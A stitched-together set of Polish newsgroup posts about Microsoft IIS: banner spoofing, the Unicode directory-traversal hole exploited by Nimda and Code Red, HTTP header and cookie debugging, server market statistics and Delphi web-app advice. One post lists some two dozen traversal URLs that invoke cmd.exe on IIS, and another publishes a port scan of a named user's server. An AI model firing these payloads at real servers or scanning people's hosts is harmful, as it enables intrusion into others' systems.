Alex <fabi@polbox.plwrote in message
Witam,
Na W2K stoi sobie IIS z FTP. Co zrobic aby przy logowaniu na FTP nie
pojawial sie taki komunikat:
220 [nazwa serwera] Microsoft FTP Service (Version 5.0).
User (xxx.xxx.xxx.xxx:(none)):
Co zrobic aby to wyrzucic albo zmienic?
Witam,
Mozesz pobawic sie hex edytorem i to zmienic w pliczkach:
C:WINNTsystem32inetsrvFTPSVC2.DLL
C:WINNTsystem32inetsrvW3SVC.DLL
Microsoft-IIS/4.0 na cos innego;
Ja na przyklad mam IIS 4.0 - a przy polaczeniu na port 80 i wyslaniu komendy
get pokazuje sie:
HTTP/1.1 400 Bad Request
Server: Squid/2.3.STABLE4
Date: Fri, 16 Mar 2001 22:17:51 GMT
Content-Type: text/html
Content-Length: 87
<html<head<titleError</title</head<bodyThe parameter is incorrect.
</body
Mozesz sobie wpisac np. Apache/1.3.9 (Unix) , WebSitePro/2.5.4, czy inne
bzdury. Ten temat byl jakis czas temu przerabiany na www.securityfocus.com -
temat brzmial: "Changing the banner in IIS" - przeszukaj tamtejsze archiwa;
W tym momencie "hacker" szukajc ofiary, zobaczy, ze maszyna ma webserver
Apache, wiec to raczej Linux. I haczac ci maszyne bedzie wiec szukal
exploitow i dziur dla Apache'a - zycze mu powodzenia:-) To samo tyczy sie
ftp'a.
pozdrawiam
Neferith
nefer@box43.pl
ICQ: #39870996
"Powinno sie wybaczac swoim wrogom, ale nie wczesniej, niz zostana
powieszeni" (Heinrich Heine)
Rymasz wrote:
Hi,
potrzebuje do referatu o najczesciej wykorzystywanych dziurach w NT
polskich odpowiednikow nizej wymienionych pojec:
Unicode Vulnerability (Web Server folder traversal)
Ciężko to tak dosłownie przetłumaczyć...
"Luka Unicode (Przechodzenie folderów serwera Web)" nie brzmi zbyt ciekawie
ale oddaje istotę rzeczy.
Luka polega na sposobie w jaki Microsoft IIS dekoduje zapytania do niego
napływające. Jeśli takowe zapytanie, sformatowane jako UTF-8 (niektóre znaki
jak spacja, znaki diakrytyczne i specjalne zamieniane są na ich odpowiedniki
w UTF-8 [spacja to np. %20]), zostanie odebrane, serwer parsuje je (rozkłada
na czynniki) a następnie wykonuje. Niestety Microsoft zrobił "małą"
niedoróbkę i nie zabezpieczył pewnych oczywistych spraw.
Słynna już Nimda i CodeRed zrobiły z tego użytek.
Wysyłająć zapytanie typu:
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
Testowały serwer IIS na okoliczność bycia podatnym na ową lukę.
Serwer otrzymując takie zapytanie parsował je do postaci (znak %5c w UTF to
92-ASCII czyli ): ..../..../..../winnt/system32/cmd.exe co oczywiście
powinno zaowocować błędem 404 - File Not Found. Jeśli serwer nie był
załatany przechodził (w tym przykładzie) o trzy katalogi wyżej od poziomu
/_vti_bin_ (a ten w typowo postawionym ISS znajduje się na partycji
systemowej!) i zwracał w wyniku tego zapytania plik cmd.exe. Dalej wiadomo
co się z taką maszyną działo... root.exe, admin.dll... i zarażony serwer
zaczynał szukać kolejnych ofiar.
Tak ja to zrozumiałem ;-))
Gwarancji prawdiłowości powyższego nie dam - ostatni IIS jakiego używałem to
3.0... i trwało to jedną dniówkę, po czym zaprzyjaźniłem się z apaczyńskim.
Słabe hash'owanie w SAM (Lan Manager hash)
Tutaj nie pamiętam dokładnie - bo dziura stara jak świat - ale było
to związane chyba ze zbyt słabym algorytmem hashującym hasła w NT4 co powodowało, że
byly one banalnie proste do zdeszyfrowania programami typu L0phtCrack.
Przeczytaj wszystkie posty z tego wątku
"Marek (MAROGO)" <marogo2@wp.plwrote in message
| Spróbujcie z tego skorzystać.
| "Załaduj stronę i zobacz, co może się stać z twoim komputerem: kto nie
| wierzy
| w Nimda
No kurna...mam zainstalowane patcha microsoftu na tego wira
i nadal mi odpalilo niemieckiego notatnika !!!
What's the hell ?
ArekM
z Bugtraq:
Scenario:
Windows 2000 Advanced Server SP2 running IIS.
Fully patched server, including Q301625 - the cumulative IIS patch.
Locked down using the Microsoft IIS Lockdown Tool.
Locked down using the HISECWEB security template.
Locked down using the Securing IIS 5.0 Checklist.
Should not be vulnerable to Code Red or Nimda, etc. - one would think.
Now load Allaire JRun 3.0 Professional Edition with SP2.
Is it possible that this machine was infected with the Nimda virus, as the
JRun ISAPI extension interprets all requests sent to the server? An attempt
was left in the event log where the Windows Protection Service prevented
overwriting the cmd.exe file (least it's good for something) - therefore I
have to assume that it's been compromised.
Are there any Directory Traversal, Unicode, etc. vulnerabilities for JRun
3.0 SP2 that I am missing? If not, is JRun vulnerable to the Nimda worm?
Does not make sense, this server was FULLY patched.
Example of a vulnerability where IIS was patched, but JRun was still
vulnerable:
http://www.allaire.com/handlers/index.cfm?ID=21759&Method=Full
jak masz nie lock down IIS ....
Microsoft-IIS bugs:
Unicode bugs for ISS 5.0/4.0:
/scripts/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir
+c:
/scripts/..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:
/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:
/cgi-bin/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:
/cgi-bin/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:
/cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c
+dir+c:
/cgi-bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir
+c:
/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd
.exe?/c+dir+c:
/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+di
r+c:
/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/sy
stem32/cmd.exe?/c+dir+c:
/_vti_bin/..%252f..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cm
d.exe?/c+dir+c:
/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+di
r+c:
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:
/scripts/%c1%9c/winnt/system32/cmd.exe?/c+dir+c:
/_vti_bin/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:
/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:
/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/
c+dir+c:
/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/
c+dir+c:
/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe
?/c+dir+c:
/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?
/c+dir+c:
Witam wszystkich,
Czy jest mozliwe za pomocą skryptu ASP uruchomienie polecenia systemowego
"NET USER /ADD" ?
Do dyspozycji mam NT 4.0 SP6 high encryption
IIS 4.0
Proszę o podpowiedzi.
Dziekuję
Netoperek
A co zwraca "$ lynx -head -mime_header http://adres/katalog/plik.pdf" ?
Posprawdzałem otrzymywane nagłówki tak jak radziłeś dla takiego pdf. Pdf
ten jest uzyskiwany metodą C1WebReport1.ShowPDF(true), a więc nie jest
to tylko link do pliku leżącego gdzieś na dysku, ale bezpośredni zapis
do OutputStream. Na dwóch serwerach uzyskuję następujące nagłówki:
Server: Microsoft-IIS/5.0
Date: Thu, 06 Jan 2005 07:46:48 GMT
X-Powered-By: ASP.NET
MicrosoftOfficeWebServer: 5.0_Pub
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: application/pdf
Content-Length: 59146
Server: Microsoft-IIS/5.1
Date: Thu, 06 Jan 2005 07:17:45 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: application/pdf
Content-Length: 59146
Na trzecim, na którym nie działa:
Cache-Control: private
Date: Thu, 06 Jan 2005 07:20:33 GMT
Transfer-Encoding: chunked
Content-Type: application/pdf
Content-Encoding: gzip
Vary: Accept-Encoding
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Różnice są ewidentne, czy może ktoś wie gdzie takie rzeczy się reguluje?
Pewnie jakiś Machine.config, ale co dokładnie?
HTTP/1.0 302 Moved Temporarily
Server: Microsoft-IIS/5.0
Date: Thu, 11 May 2000 19:12:54 GMT
Location: /sms/xsms.asp?fromPage=login
Content-Length: 149
Content-Type: text/html
Expires: Thu, 11 May 2000 19:12:55 GMT
Set-Cookie:
mtnsms%2Et%2E2=skey=78C8D665%2DE3BF%2D43A9%2D959D%2D4CB09F6AA58A;
domain=.mtnsms.com; path=/
Set-Cookie: mtnsms%2Ep%2E2=color=0&akey=&cn=ppp%40ppp%2Eppp; expires=Tue,
11-May-2010 19:12:54 GMT; domain=.mtnsms.com; path=/
Cache-Control: private
X-Cache: MISS from w3cache.pw.edu.pl
Connection: keep-alive
<head<titleObject moved</title</head
<body<h1Object Moved</h1This object may be found <a
HREF="/sms/xsms.asp?fromPage=login"here</a.</body
Czy wysylac oba ciasteczka jezeli tak to w jakiej kolejnosci
Tomasz Nowak wrote:
Zloty wrote:
| Musze napisac program ktory sie bedzie laczyl ze strona logowal, i
| wykonywal rozne operacje, problem w tym ze sa ustawiane cookies, i nie
| za bardzo wiem co z tym zrobic. Dlatego mam kilka pytan
Kiedys sie w to bawilem i nie pamietam juz dokladnie, natomiast powiem
Ci jak ja sprawdzam eksperymentalnie takie rzeczy.
Pod linuxem jest taki wspanialy programik netcat. Dziala jak cat, tylko
ze dla polaczen TCP/IP.
1. Sciagasz na dysk interesujaca Cie strone:
netcat serwer 80 p1
GET /strona HTTP 1.0
Host: serwer
2. Szukasz w kodzie tej strony w pliku p1 interesujacego Cie formularza
i zmieniasz adres serwera na localhost
3. netcat -l -p 20000 < p1 p2
4. Kazesz przegladarce pobrac zmieniona przez Ciebie strone:
localhost:20000/strona
5. Wypelniasz formularz i wciskasz przycisk submit i w pliku p2 masz to
co przegladarka wyslala do serwera.
Zamieniasz wystapienia localhost:20000 na serwer i wszystko wiesz :)
Pozdrawiam.
______________________________________________________________________
Tomasz Nowak mailto:tno@triger.com.pl
TRIGER - Systemy Komputerowe http://www.triger.com.pl
Oferujemy m.in. H@NDEL - Twoj krok w nowa ere sprzedazy w Internecie
W linuksach da się coś takiego zdziałać,
a W2K?
Podejrzewam ze musze odpowiednio spreparowac naglowek...
Tylko jaki naglowek musze wyslac aby M$ mnie zrozumial ??
Przykladowo wyglada to tak (jest po malych przejsciach - wiec w tej
chwili wcale nie musi byc to zgodne z norma ... - ale na apache dzialaja
takie naglowki)
$body_head = "--$boundary
";
$body_head .= "content-disposition: form-data; name="$name";
filename="$filename"
";
$body_end = "--$boundary--
";
$body_length = strlen($body_head) + filesize($filepath) + strlen($body_end);
$header = "POST $path HTTP/1.0
";
$header .= "Host: $host
";
$header .= "Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg,"."application/msword,
application/vnd.ms-excel,"."application/vnd.ms-powerpoint, */*
";
$header .= "Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
";
$header .= "Accept-Language: pl,en-us;q=0.7,en;q=0.3
";
$header .= "User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.5)
Gecko/20031007
";
$header .= "Content-type: multipart/form-data, boundary=$boundary
";
$header .= "Content-Length: $body_length
";
$header .= "
";
Acha - nie mam dostepu do serwera, wiec nie moge sprawidzic co jest nie
tak...
P.S. Oczywiscie to jest fragment skryptu - wiec wszystkie zmienne sa
poprawne.
| wiem jak powinno wyglada wyslanie sesji z serwera:
| Set-Cookie: ASP.NET_SessionId=wgp1zwi5oeghooyjmko3ml55; path=/
a do serwera bedzie tak:
Cookie: ASP.NET_SessionId=wgp1zwi5oeghooyjmko3ml55
Sprobuj, moze wlasnie o to chodzi.
to bylo by za proste :) - ale to set cookie dalem dla przykladu - ze
inna strona tak wlasnie sie oddzywa (tj. wysyla mi to w naglowku) ale
tam gdzie chcialbym uzyc mojego skryptu po prostu nie ma przesylanego do
mnie zadnego cookie ... pokaze wam jakie dostaje naglowki:
oto naglowek ten z ktorego bym sobie odczytal to co trzeba:
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 14 Jan 2004 15:14:38 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Set-Cookie: ASP.NET_SessionId=dnyepaq14cuc1majdboyq0re; path=/
Cache-Control: private, max-age=3600
Expires: Wed, 14 Jan 2004 16:14:39 GMT
Last-Modified: Wed, 14 Jan 2004 15:14:39 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 44235
a tu naglowek z tej strony na ktorej mi najbardziej zalezy:
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 14 Jan 2004 15:38:06 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: public, max-age=1
Expires: Wed, 14 Jan 2004 15:38:07 GMT
Last-Modified: Wed, 14 Jan 2004 15:38:06 GMT
Vary: *
Content-Type: text/html; charset=utf-8
Content-Length: 5372
roznice w zwracanych naglowkach:
w dolnym jest: Vary: *
roznica w wartosci Cashe-Control (na dole jest 1)
roznica w wartosci Content-Length (ale nie spogladajac w RFC wydaje mi
sie ze to wielkosc zwracanego pliku)
---
indio
gg: 6353481
Statystyki Netcraft twierdza cos innego. I polecam przejrzec Polskie
portale - polowa idzie na Solarisie, na Win 2000, jeden - poland.com
badania badania nie rowne, ale :
Top Developers
Developer October 2000 Percent November 2000 Percent Change
Apache 13295499 59.67 14193854 59.69 0.02
Microsoft 4493937 20.17 4776220 20.09 -0.08
iPlanet 1541275 6.92 1643977 6.91 -0.01
Top Servers
Server October 2000 Percent November 2000 Percent Change
Apache 13295499 59.67 14193854 59.69 0.02
Microsoft-IIS 4491609 20.16 4774050 20.08 -0.08
Netscape-Enterprise 1500988 6.74 1605438 6.75 0.01
WebLogic 680332 3.05 789953 3.32 0.27
http://www.netcraft.com/survey/
a teraz zestawienie serwerow www wsrod firm z listy Fortune 500 :
Netcraft Ltd.'s Web Server Survey (www.netcraft.com/survey) recently found
that the open source Apache (www.apache.org) Web server dominates market
share across all domains, with Microsoft Corp. (www.microsoft.com) and
iPlanet (Netscape-Sun, www.iplanet.com) Web servers a distant second and
third. But an ENT study using an Internet tool on the Netcraft Web site
(www.netcraft.com) against the corporate identity or brochure Web sites of
Fortune 500 companies returned very different results. Microsoft's Internet
Information Server (IIS) is the most common Web server in the Fortune 500,
powering 208 sites or 41 percent of the list. The
iPlanet/Netscape-Enterprise Web server dominates the biggest of the big. The
Web server runs seven of the 10 largest corporations' Web sites, and owns
nearly 60 percent of the top 100 of the Fortune ranking. Overall,
Netscape-Enterprise held 35 percent of the 500 deployments. Sites running
Apache accounted for 15 percent of all Fortune 500 Web server deployments.
The open source Web server garnered an increasing share of the Web server
pie as the overall size of companies becomes smaller.
http://www.entmag.com/displayarticle.asp?ID=6150095626AM
czyli calkiem odwrotnie.
Krzysiek <Krzys@DVDinfo.prv.plwrote:
Wyszukiwarka wypluła mi taki adres (szukalem pod hasłem vcd):
http://www.komputerswiat.pl/leksykon/10119.html
Kliknąłem... i az sie przestraszyłem: "naruszyłem bezpieczeństwo,
probowałem włamać sie do serwera " ... pewnie nie długo mnie zamkną
..... :))))
Tę informację należy rozumieć następująco:
Witaj użytkowniku!
To jest nasza customowa strona błędu 404. Napisaliśmy ją
(oczywiście w Wordzie, gdyż administrator nie zna HTMLa)
z kilku powodów:
- Nasz serwer WWW to dziurawy Microsoft IIS/4.0.
Boimy się, że możesz się do nas włamać niechcący
wywołując stronę, która już nie istnieje (generalnie
nie panujemy nad stronami naszego serwisu, jak i nad
całym serwisem)
- Słyszeliśmy kiedyś o atakach DoS, ale tak naprawdę
nie mamy zielonego pojęcia, co to jest. Na wszelki
wypadek - jeżeli jesteś, użytkowniku, agresorem DoS
(chociaż na pewno nie jesteś, bo ataku DoS dokonują
maszyny, a nie ludzie) to informujemy Cię, że właśnie
wykonujesz atak DoS! Strona jest napisana w Wordzie,
żeby była 20x większa niż powinna. Dzięki temu
mamy pewność, że nasza maszyna będzie dużo bardziej
obciążona, niż powinna
- Nawet jeżeli się włamiesz do nas (co jest - UWAGA!
NIESPODZIANKA! - niezgodne z prawem!) to i tak możesz
o nic się nie martwić, ponieważ nawet jak to zalogujemy,
to i tak nie wiemy, gdzie sa logi
A to oznacza, że kiepściutko zabezpieczony :)
Pewnie jakieś WindowsNT, albo coś podobnego...
Jakbyś zgadł. Strona działa na 'Microsoft-IIS/5.0'. Pewnie serwer stoi na
jakimś zapleczu sejmowym :)
Hej
Oczywiście nie raz czytałem na tej grupie ryzykowne teorie. Mam jednak
wrażenie, że jak TPSA chce to może.
W grudniu mój serwer padał jak mucha - kilka/kilkanaście padów dziennie.
Nie
używałem DC, Kazaaa i innych takich aplikacji. Tylko internet, trochę FTP
i
poczta na Exchangea. Kilka razy próbowałem uruchomić WinMX - ale generował
natychmiast BSODa. Dodatkowo po godzinie 18 30% pakietów ginęło na drodze
HIS-półka. Miarka się przebrała. Dałem popalić instalatorom, potem
napisałem
reklamację i... wszystko się zmieniło. Teraz właściwie nie wiem co to
BSOD.
OK. Czasem coś tam sobie BSODnie. Tylko, że zachęcony dosyć dużą
stabilnością na łączu zacząłem eksperymentalnie używać coraz to nowych
aplikacji. Zacząłem od DC. W styczniu wykręciłem 10,4 giga w obu
kierunkach.
Może było na początku stycznia kilka prawdziwych padów. Od 15 stycznia
praktycznie tylko restarty techniczne, po łataniu systemu.
Wczoraj szukałem unikalengo utworu i na DC nie szło... nic to myślę...
zainstaluję Kazaa najwyżej zaliczę BSODa. Zostawiłem kompa do dzisiejszego
wieczora z uruchomionym ww. programem. Wieczorem żuraw na serwer - czy
spotakł się z glebą... - gdzie tam. Statystyka łącza dial-up: 1 giga out,
700 mega in... 46 godzin up (!) Teraz mam siestę davisa w 12 wersjach
:-).
Uptime prawie 2 dni (od instalacji Security SP2).
IMO to w TPSA nie dbają o użytkowników nieszczęsnej usługi. Jak muszą albo
chcą to HIS zaczyna być miłą skrzyneczką.
Zdrowie
Radek
Oj stary, połataj lepiej swój system, bo CI się koledzy z grupy do d....
dobiorą.,
Masz sprzęt jak "szwajcarski ser" .. dziura na dziurze ... CHesz raport z
portów?
Proszę bardzo. Oto i on. Wszystkie .:open:. widać jak na dłoni ... :
* + 213.77.145.217 pc217.lodz-teofilow.sdi.tpnet.pl
|___ 110 Post Office Protocol - Version 3
|___ +OK Microsoft Exchange 2000 POP3 server version 6.0.4712.0
(deepserver.cdrom.pl) ready...
|___ 21 File Transfer Protocol [Control]
|___ 220 deepserver Microsoft FTP Service (Version 5.0)...
|___ 25 Simple Mail Transfer
|___ 220 deepserver.cdrom.pl Microsoft ESMTP MAIL Service, Version:
5.0.2195.4453 ready at Tue, 5 Feb 2002 11:42:13 +0100 ..
|___ 80 World Wide Web HTTP
|___ HTTP/1.1 404 Object Not Found..Server: Microsoft-IIS/5.0..Date: Tue,
05 Feb 2002 10:42:13 GMT..Content-Type: text/html..Content
|___ 143 Internet Message Access Protocol
|___ * OK Microsoft Exchange 2000 IMAP4rev1 server version 6.0.4712.0
(deepserver.cdrom.pl) ready...
BTW.
Masz "kupionego" Exchange'a 2000 i stawiasz go na SDI w Łodzi?
Bogaty jesteś kolego ... No widze że masz jeszcze AD z W2K z SMTP ... proszę
proszę ... i trochę innych zabaweczek ... Nie ma co. Odważny jesteś.
Pozdro,.
neg wrote:
Mam opcję file=new=Web Server Application i dalej
ISAPI and NSAPI Web server applications
CGI standalone executable
Win-CGI standalone executable
Z tego co jest do wyboru Win-CGI olać, z powodów, które już wyliczyłem.
Jeśli chodzi o ISAPI vs CGI to:
1. ISAPI = Internet Server API. (NSAPI to niegdyś konkurencyjny standard
Netscape'a, który już nie ma praktycznego znaczenia). Działa to jako DLL
w przestrzeni procesu serwera webowego. Żeby z tego skorzystać musi
Pan mieć serwer WWW obsługujący ISAPI - napewno ISAPI obsługuje
Microsoft IIS, innych pewnie by się też parę znalazło, _poza_
renomowanym Apache, który ISAPI obsługuje okrężną drogą przez moduł
mod_isapi :
http://httpd.apache.org/docs/2.0/mod/mod_isapi.html
Gdyby Pan miał nowszą wersję Delphi (chyba 6 lub wyższą) to mógłby Pan
tworzyć natywne moduły Apache. Z tym, że ja bym Apache'a i jego
mod_isapi nie odrzucał na wstępie, bo Apache jest znacznie
bezpieczniejszy od IIS i wydajniejszy (aczkolwiek podobno w obydwu
sprawach głąby z Redmond się poptrawiły, kiedyś IIS był po prostu
_tragiczny_).
2. CGI: działa to jako aplikacja de facto konsolowa odpalana przez
serwer WWW każdorazowo przy wywołaniu. Tutaj może Pan skorzystać z
dowolnego serwera WWW, bo praktycznie wszystkie liczące się serwery WWW
mają obsługę CGI, bo też i CGI zostało wprowadzone jako rzecz prosta,
bez jakiś niesamowitych bajerów.
Z punktu widzenia koderskiego w Delphi : Borland te wszystkie mechanizmy
czy to ISAPI czy to CGI ładnie opakował w klasy - za dużo by tłumaczyć.
Niech Pan sobie po prostu zainstaluje Apache'a i popróbuje z CGI albo
może ma Pan już IISa to może Pan wtedy na nim popróbować.
Plus i minusy:
ISAPI: aplikacja jest łądowana przez proces serwera webowego raz przy
pierwszym wywołaniu i potem już tam sobie siedzi. Ma to wszystkei plusy
ciągle działającego programu, na czele z wydajnością. Minus: każda
zmiana aplikacji wymaga restartu procesu serwera web, a przynajmniej tak
to kiedyś było. Proces serwera web blokuje DLLkę i musi Pan go
zatrzymać, podmienić DLLa i wystartować serwer. Alternatywna metoda to
dokładanie DLLi pod innymi nazwami plików i odpowiednie modyfikacje w
linkach, które prowadzą ze statycznych stron WWW do tegoż DLLa - rzeźba
w gównie, nie polecam.
CGI: aplikacja CGI jest od zera jako podproces serwera web startowana i
kończona przy każdym wywołaniu CGI. Zmniejsza to wydajność [*], ale
bardzo ułatwia developerkę, bo jak Pan zrobi nową wersję to ją Pan po
prostu wrzuca na serwer zamiast starej.
[*] jest jeszcze coś takiego jak FastCGI, ale tu już odsyłam do Google,
generalnie: X procesów CGI jest dopalanych i sobie czeka, jest też
reużywalność CGI, więc procesy się nie kończą po zakończeniu żądania.
Chodzi o to czy delphi 4 wystarczy do tego celu czy muszę zdobyć
najnowszą wersję delphi.
Jesli Pan koniecznie chce to robić w Delphi to wystarczy.
Nie chcę robić tego w php bo wolę delphi.
To już Pana wybór. Ale ja bym się jeszcze zastanowił.
Baza
będzie niewielka, tylko kilkanaście tabel ale dosyć dużych. Hasła
dostępu dla poszczególnych użytkowników, z których niektórzy powinni
mieć prawo do zapisu do niektórych tabel lub kolumn.
Jak Pan zrobi autoryzację to jest osobna kwestia, natomiast musi Pan
skorzystać z mechanizmu obsługi sesji. Nie wiem jak z tym było w web
applications pod Delphi w czasach Delphi 4. Chyba były do tego klasy,
ale musi Pan sprawdzić.
Szyfrowanie raczej
nie będzie potrzebne, bo te dane nie mają aż takiej wartości, szczeg. że
edycja będzie się odbywała głównie z intranetu. Dostęp nie więcej niż
kilkunastu użytkowników jednocześnie z internetu.
Wie Pan, zależy jak na to spojrzeć, większość kradzieży danych odbywa
się w intranetach. Po drugie: skoro to ma działać w intranecie to może
neich Pan rozważy napisanie zwyklej aplikacji client-server z tym IB.
Jeśli temat web applications jest dla Pana nowy to może nie warto
wyważać drzwi.
BTW temat web applications pojawił się na Sympozjonie 2001 :
http://www.delphi.org.pl/zlot/2001/po/mariusz.wojcik.html
Jaroslaw Zielinski wrote:
Michal Mosiewicz wrote:
| Jaroslaw Zielinski wrote:
| Jak napisac w Perlu program, ktory by laczyl sie z pewna liczba serwerow
| Domyślam się, że chcesz sprawdzić, jakie protokoły obsługują serwery.
Tak, to wlasnie chce sprawdzic.
A to widzisz nie jest wcale takie proste. Mój apache obsługuje na
przykład:
GET / HTTP/98
:-)
Ale, żeby sprawdzić dokładnie czy jakiś serwer obsługuje którąś wersję
protokołu trzeba zorientować się, czy faktycznie obsługuje możliwości
oferowane przez tą konkretną wersję. Przy czym nie jest powiedziane, że
serwer obsługujący HTTP/1.1 musi obsłużyć np. Keep-alive. Może nadal
zostać skonfigurowany tak, że nie obsłuży. Niemniej jednak musi umieć
zrozumieć wszelkie nagłówki HTTP/1.1 i się od nich nie zapluć (niektóre
może pominąć, na niektóre musi zareagować w określony sposób). I w
zasadzie tylko tyle. A poza cyferką w requeście HTTP/1.1 w stosunku do
1.0 jest tylko jedna zasadnicza różnica - request w HTTP/1.1 musi
zawierać nagłówek Host:. Jeśli go nie zawiera, to serwer _musi zwrócić
400 Bad request_.
W szczególności, jeśli nie zwróci, to nie jest serwerem obsługującym
HTTP/1.1 (choć może implementować niektóre features, np. Keep-alive,
które pojawiło się jeszcze przed 1.1, ale nie należało też do HTTP/1.0).
W RFC2068 są opisane cztery najważniejsze zalecenia dotyczące HTTP/1.1 i
tego co różni go od HTTP/1.0:
o Both clients and servers MUST support the Host request-header.
o Host request-headers are required in HTTP/1.1 requests.
o Servers MUST report a 400 (Bad Request) error if an HTTP/1.1
request does not include a Host request-header.
o Servers MUST accept absolute URIs.
A to oznacza, że np. żaden z serwerów MS IIS (sprawdziłem wyrywkowo
kilka wersji do 4.0 włącznie) nie implementuje prawidłowo HTTP/1.1. No
ale cóż, to jest AFAIK wspólna cecha wszystkich serwerów MS, że dla nich
Bad request po prostu nie istnieje. Jak czegoś nie rozumieją, to "rżną
głupa" i odpowiadają 404. Innymi słowy "Nie ma głupich zapytań, to tylko
pliki poginęły" :-)
bash$ telnet Trying xxxxxxxxxxxxxx...
Connected to www.xxx.pl.
Escape character is '^]'.
IDIOTYCZNY_REQUEST_BEZ_NAGLOWKA_HOST / HTTP/1.1
HTTP/1.1 404 Object Not Found
Server: Microsoft-IIS/4.0
Powstaje pytanie - co tak naprawdę chcesz stwierdzić? Zgodność z RFC?
Możliwości?
Michał
FOLLOWUP TO: Tam gdzie tego miejsce.
Mam nadzieję że ktoś przyłoży się i zrobi polonizację mojego
ulubionego programu.
Nie tyle dla mnie, co aby go rozpowszechnić - co
z jednej strony może być o tyle trudne że nie jest on darmowy, a o
tyle łatwe że jest tańszy niż Total Commander i jak dla mnie duuużo
lepszy :)
A niżej oficjalne (nieco połamane) info.
Servant Salamander 2.5 beta 10 was released on September 27, 2005:
* ALTAP News:
o FTP Client is finished and ALTAP Translator will be
released soon. Final version 2.5 will be available in English, Czech,
and German language. We will do our best to release final version 2.5
this year.
o ALTAP web server was reinstalled from scratch, we are
preparing a discussion board for better support of Servant Salamander
community.
o Servant Salamander Logo Contest will be closed in two
weeks. Please don't hesitate and send us your artwork!
o For system administrators: Windows Installer package
(MSI) will be part of Servant Salamander distribution. Unattended
deployment should be easy now. If you want to test beta version of MSI
package, please let us know.
* FTP Client plugin:
o Support for FTP proxy servers (to-do: HTTP 1.1, SOCKS 4,
4A, 5).
o New Resume and Overwrite buttons in Solve Error dialog boxes.
o Implemented Skip and Pause buttons in operation dialog box.
o Support for '@' character in username.
o Support for German IBM AIX servers.
o Updated parsers: Microsoft IIS (Windows NT), VMS.
* WinSCP plugin:
o Upgraded to WinSCP 3.7.6.
o When file overwrite operation fails, there is option
"delete and create".
o New Synchronize option: "Selected files only".
o Directory dependent file masks, for example
'*/public_html/*.html'.
o Please visit this winscp.net page for all changes.
* 7-Zip plugin:
o Upgraded to 7-Zip 4.25.
* UnISO plugin:
o Support for Alcohol MDF/MDS archives.
w.p.
Informatyk <informa@poland.comwrote:
| juz na Windows 2000 AS.
| Popatrz popatrz ponad rok zajelo najbogatszej firmie napisanie serwera
| pocztowego ;-
A widziales druga taka instalacje ? na tylu uzytkownikow ?
Czy znasz jakis portal 10M uzytkownikow pracujacy na Linuxie ?
Pytanie zasadnicze: ile jest portali na 10M userów? Śmiem
twierdzić, że niewiele. Z większych portali (lub serwisów),
które mi się przypomniały (no dobrze, nie tylko mnie):
freshmeat.net: Server: Apache/1.3.12 (Unix) PHP/4.0.1pl2
cnn.com Server: Apache/1.3.12 (Unix)
lwn.net: Server: Apache/1.3.3 (Unix) (Red Hat/Linux)
mod_perl/1.15 PHP/3.0.5
deja.com: Server: Apache/1.3b5 mod_perl/1.08
google.com: Server: GWS/1.9 (atsd, co to za cudo?)
yahoo.com: Niestety, nie chcą się w nagłówkach przyznać
press-releases.net: Server: Apache/1.2.6 BSafe-SSL/1.1
FrontPage/3.0.4
usanews.net: Server: Microsoft-IIS/4.0
bbc.com: Server: Apache/1.2.1
aol.com: Server: NaviServer/2.0 AOLserver/2.3.3
(też ciekawe)
infoseek.com tak jak yahoo, w nagłówkach nie ma
w3.org: Server: Apache/1.3.6 (Unix) PHP/3.0.15
sony.com: Server: Netscape-Enterprise/2.01
geocities.com Location: http://geocities.yahoo.com/home/
czyli nie przedstawia się (jak yahoo)
bigfoot.com: Server: Apache/1.3.6 (Unix) PHP/3.0.11 mod_perl/1.19
usa.net: Server: Microsoft-IIS/4.0
zdnet.com Server: Netscape-Enterprise/3.6 SP3
ietf.org: Server: Apache/1.3.11 (Unix)
ieee.org: Server: Netscape-Enterprise/3.6
amazon.com: Server: Stronghold/2.4.2 Apache/1.3.6
C2NetEU/2412 (Unix)
mp3.com: Server: Apache/1.3.12 (Unix) mod_backwash/3.36
yasl/2.13 mod_oas/4.63b sw/1.1 include/3.6
